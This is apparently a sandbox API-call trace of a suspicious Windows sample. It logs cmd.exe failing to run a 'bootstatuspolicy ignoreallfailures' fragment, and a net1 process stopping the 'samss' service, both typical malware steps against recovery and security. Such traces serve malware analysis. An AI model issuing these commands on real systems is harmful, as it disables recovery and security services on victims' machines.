	[0120.227] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x4, lpData=0x26eda0*=0x9, lpcbData=0x26ed84*=0x4) returned 0x0
	[0120.227] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x0, lpData=0x26eda0*=0x9, lpcbData=0x26ed84*=0x1000) returned 0x2
	[0120.227] RegCloseKey (hKey=0x44) returned 0x0
	[0120.227] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e650
	[0120.227] srand (_Seed=0x5e22e650) 
	[0120.227] GetCommandLineW () returned="cmd /c \"bootstatuspolicy ignoreallfailures\""
	[0120.227] GetCommandLineW () returned="cmd /c \"bootstatuspolicy ignoreallfailures\""
	[0120.228] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.228] GetProcessHeap () returned 0x420000
	[0120.229] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x218) returned 0x43aa20
	[0120.229] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x43aa30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0120.229] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.229] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.229] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0120.230] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0120.230] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0120.230] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0120.230] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0120.230] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0120.230] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0120.230] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0120.230] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0120.230] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0120.231] GetProcessHeap () returned 0x420000
	[0120.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4394e0 | out: hHeap=0x420000) returned 1
	[0120.231] GetEnvironmentStringsW () returned 0x438a50*
	[0120.231] GetProcessHeap () returned 0x420000
	[0120.231] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xa94) returned 0x43b6e0
	[0120.231] FreeEnvironmentStringsW (penv=0x438a50) returned 1
	[0120.231] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.231] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0120.231] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0120.232] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0120.232] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0120.232] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0120.232] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0120.232] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0120.232] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0120.232] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0120.232] GetProcessHeap () returned 0x420000
	[0120.232] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x38) returned 0x4364e0
	[0120.232] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26fb90 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x26fb90, lpFilePart=0x26fb70 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x26fb70*="system32") returned 0x13
	[0120.233] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0120.233] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x26f8a0 | out: lpFindFileData=0x26f8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe50000e5, cFileName="Windows", cAlternateFileName="")) returned 0x4382f0
	[0120.233] FindClose (in: hFindFile=0x4382f0 | out: hFindFile=0x4382f0) returned 1
	[0120.234] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x26f8a0 | out: lpFindFileData=0x26f8a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe50000e5, cFileName="System32", cAlternateFileName="")) returned 0x4382f0
	[0120.234] FindClose (in: hFindFile=0x4382f0 | out: hFindFile=0x4382f0) returned 1
	[0120.234] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0120.234] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0120.234] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0120.234] GetProcessHeap () returned 0x420000
	[0120.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43b6e0 | out: hHeap=0x420000) returned 1
	[0120.234] GetEnvironmentStringsW () returned 0x438a50*
	[0120.235] GetProcessHeap () returned 0x420000
	[0120.235] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xac4) returned 0x43ac40
	[0120.235] FreeEnvironmentStringsW (penv=0x438a50) returned 1
	[0120.235] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0120.235] GetProcessHeap () returned 0x420000
	[0120.235] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4364e0 | out: hHeap=0x420000) returned 1
	[0120.235] GetProcessHeap () returned 0x420000
	[0120.235] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x4016) returned 0x43cc50
	[0120.236] GetProcessHeap () returned 0x420000
	[0120.236] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x5e) returned 0x4382f0
	[0120.236] GetProcessHeap () returned 0x420000
	[0120.236] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x4010) returned 0x440c70
	[0120.237] GetProcessHeap () returned 0x420000
	[0120.237] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x4010) returned 0x444c90
	[0120.243] _wcsnicmp (_String1="boot", _String2="cmd ", _MaxCount=0x4) returned -1
	[0120.651] GetProcessHeap () returned 0x420000
	[0120.651] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x420) returned 0x43b710
	[0120.651] SetErrorMode (uMode=0x0) returned 0x8001
	[0120.652] SetErrorMode (uMode=0x1) returned 0x0
	[0120.652] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x43b720, lpFilePart=0x26fa50 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x26fa50*="system32") returned 0x13
	[0120.652] SetErrorMode (uMode=0x8001) returned 0x1
	[0120.652] GetProcessHeap () returned 0x420000
	[0120.652] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43b710, Size=0x7e) returned 0x43b710
	[0120.652] GetProcessHeap () returned 0x420000
	[0120.652] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43b710) returned 0x7e
	[0120.653] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.653] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0120.653] GetProcessHeap () returned 0x420000
	[0120.654] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x104) returned 0x43b7a0
	[0120.654] GetProcessHeap () returned 0x420000
	[0120.654] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x1f8) returned 0x43b8b0
	[0120.674] GetProcessHeap () returned 0x420000
	[0120.674] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43b8b0, Size=0x106) returned 0x43b8b0
	[0120.674] GetProcessHeap () returned 0x420000
	[0120.674] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43b8b0) returned 0x106
	[0120.674] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.674] GetProcessHeap () returned 0x420000
	[0120.674] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xe8) returned 0x43b9d0
	[0120.675] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43b9d0, Size=0x7e) returned 0x43b9d0
	[0120.675] GetProcessHeap () returned 0x420000
	[0120.675] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43b9d0) returned 0x7e
	[0120.675] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.675] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0120.676] GetLastError () returned 0x2
	[0120.676] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0120.676] GetLastError () returned 0x2
	[0120.676] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.676] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0120.677] GetLastError () returned 0x2
	[0120.677] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0120.677] GetLastError () returned 0x2
	[0120.677] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.678] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0120.678] GetLastError () returned 0x2
	[0120.678] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0120.678] GetLastError () returned 0x2
	[0120.678] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.679] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0120.679] GetLastError () returned 0x2
	[0120.679] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0120.679] GetLastError () returned 0x2
	[0120.679] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.680] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0121.146] GetLastError () returned 0x2
	[0121.146] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x26f7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f7c0) returned 0xffffffffffffffff
	[0121.151] GetLastError () returned 0x2
	[0121.152] GetConsoleOutputCP () returned 0x1b5
	[0121.153] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0121.153] GetUserDefaultLCID () returned 0x409
	[0121.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a487b50, cchData=8 | out: lpLCData=":") returned 2
	[0121.154] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26fca0, cchData=128 | out: lpLCData="0") returned 2
	[0121.155] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26fca0, cchData=128 | out: lpLCData="0") returned 2
	[0121.155] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26fca0, cchData=128 | out: lpLCData="1") returned 2
	[0121.155] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a49a740, cchData=8 | out: lpLCData="/") returned 2
	[0121.155] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a49a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0121.155] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a49a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0121.156] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a49a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0121.156] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a49a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0121.156] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a49a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0121.156] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a49a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0121.156] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a49a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0121.156] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a487b40, cchData=8 | out: lpLCData=".") returned 2
	[0121.156] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a49a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0121.156] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0121.158] GetProcessHeap () returned 0x420000
	[0121.158] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x20c) returned 0x43bad0
	[0121.158] GetConsoleTitleW (in: lpConsoleTitle=0x43bad0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0121.158] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0121.158] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0121.159] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0121.159] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0121.160] GetProcessHeap () returned 0x420000
	[0121.160] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x4012) returned 0x43cc50
	[0121.160] GetProcessHeap () returned 0x420000
	[0121.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc50 | out: hHeap=0x420000) returned 1
	[0121.160] GetConsoleTitleW (in: lpConsoleTitle=0x26fbb0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0121.160] SetErrorMode (uMode=0x0) returned 0x8001
	[0121.161] SetErrorMode (uMode=0x1) returned 0x0
	[0121.161] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x421330, lpFilePart=0x26f440 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x26f440*="system32") returned 0x13
	[0121.161] SetErrorMode (uMode=0x8001) returned 0x1
	[0121.161] GetProcessHeap () returned 0x420000
	[0121.161] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x421320, Size=0x5a) returned 0x421320
	[0121.161] GetProcessHeap () returned 0x420000
	[0121.161] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x421320) returned 0x5a
	[0121.162] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0121.162] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0121.162] GetProcessHeap () returned 0x420000
	[0121.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x104) returned 0x43c030
	[0121.162] GetProcessHeap () returned 0x420000
	[0121.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x1f8) returned 0x421390
	[0121.162] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x421390, Size=0x106) returned 0x421390
	[0121.162] GetProcessHeap () returned 0x420000
	[0121.162] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x421390) returned 0x106
	[0121.162] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0121.162] GetProcessHeap () returned 0x420000
	[0121.162] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xe8) returned 0x4214b0
	[0121.162] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4214b0, Size=0x7e) returned 0x4214b0
	[0121.163] GetProcessHeap () returned 0x420000
	[0121.163] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x4214b0) returned 0x7e
	[0121.163] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0121.163] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.163] GetLastError () returned 0x2
	[0121.163] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.164] GetLastError () returned 0x2
	[0121.164] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0121.164] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.165] GetLastError () returned 0x2
	[0121.165] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.165] GetLastError () returned 0x2
	[0121.165] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0121.165] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.166] GetLastError () returned 0x2
	[0121.166] FindFirstFileExW (in: lpFileName="C:\\Windows\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.166] GetLastError () returned 0x2
	[0121.166] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0121.166] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.167] GetLastError () returned 0x2
	[0121.167] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.167] GetLastError () returned 0x2
	[0121.167] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0121.167] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy.*", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.172] GetLastError () returned 0x2
	[0121.173] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bootstatuspolicy", fInfoLevelId=0x1, lpFindFileData=0x26f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26f1b0) returned 0xffffffffffffffff
	[0121.178] GetLastError () returned 0x2
	[0121.178] _get_osfhandle (_FileHandle=2) returned 0xb
	[0121.178] GetFileType (hFile=0xb) returned 0x2
	[0121.632] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0121.633] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x26f608 | out: lpMode=0x26f608) returned 1
	[0121.634] _get_osfhandle (_FileHandle=2) returned 0xb
	[0121.634] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x26f640 | out: lpConsoleScreenBufferInfo=0x26f640) returned 1
	[0121.635] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a496340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d
	[0121.635] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a496340, nSize=0x2000, Arguments=0x26f6b0 | out: lpBuffer="'bootstatuspolicy' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x6b
	[0121.635] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a496340*, nNumberOfCharsToWrite=0x6b, lpNumberOfCharsWritten=0x26f630, lpReserved=0x0 | out: lpBuffer=0x4a496340*, lpNumberOfCharsWritten=0x26f630*=0x6b) returned 1
	[0121.637] _get_osfhandle (_FileHandle=1) returned 0x7
	[0121.637] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0121.637] _get_osfhandle (_FileHandle=1) returned 0x7
	[0121.638] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0121.638] _get_osfhandle (_FileHandle=0) returned 0x3
	[0121.638] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0121.639] SetConsoleInputExeNameW () returned 0x1
	[0121.639] GetConsoleOutputCP () returned 0x1b5
	[0121.640] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0121.640] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0121.641] exit (_Code=1) 

Process:
	id = "17"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x32012000"
	os_pid = "0xb48"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xb34"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 100
	os_tid = 0x968

	[0116.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efc50 | out: lpSystemTimeAsFileTime=0x1efc50*(dwLowDateTime=0x176ffa30, dwHighDateTime=0x1d5cdef)) 
	[0116.805] GetCurrentProcessId () returned 0xb48
	[0116.805] GetCurrentThreadId () returned 0x968
	[0116.805] GetTickCount () returned 0x1163f33
	[0116.805] QueryPerformanceCounter (in: lpPerformanceCount=0x1efc58 | out: lpPerformanceCount=0x1efc58*=25855842864) returned 1
	[0117.068] GetModuleHandleW (lpModuleName=0x0) returned 0xffde0000
	[0117.068] __set_app_type (_Type=0x1) 
	[0117.068] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffdf9c9c) returned 0x0
	[0117.069] __getmainargs (in: _Argc=0xffe04780, _Argv=0xffe04790, _Env=0xffe04788, _DoWildCard=0, _StartInfo=0xffe0479c | out: _Argc=0xffe04780, _Argv=0xffe04790, _Env=0xffe04788) returned 0
	[0117.070] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0117.070] GetConsoleOutputCP () returned 0x1b5
	[0117.071] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffe0cec0 | out: lpCPInfo=0xffe0cec0) returned 1
	[0117.072] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0117.081] sprintf_s (in: _DstBuf=0x1efbf8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
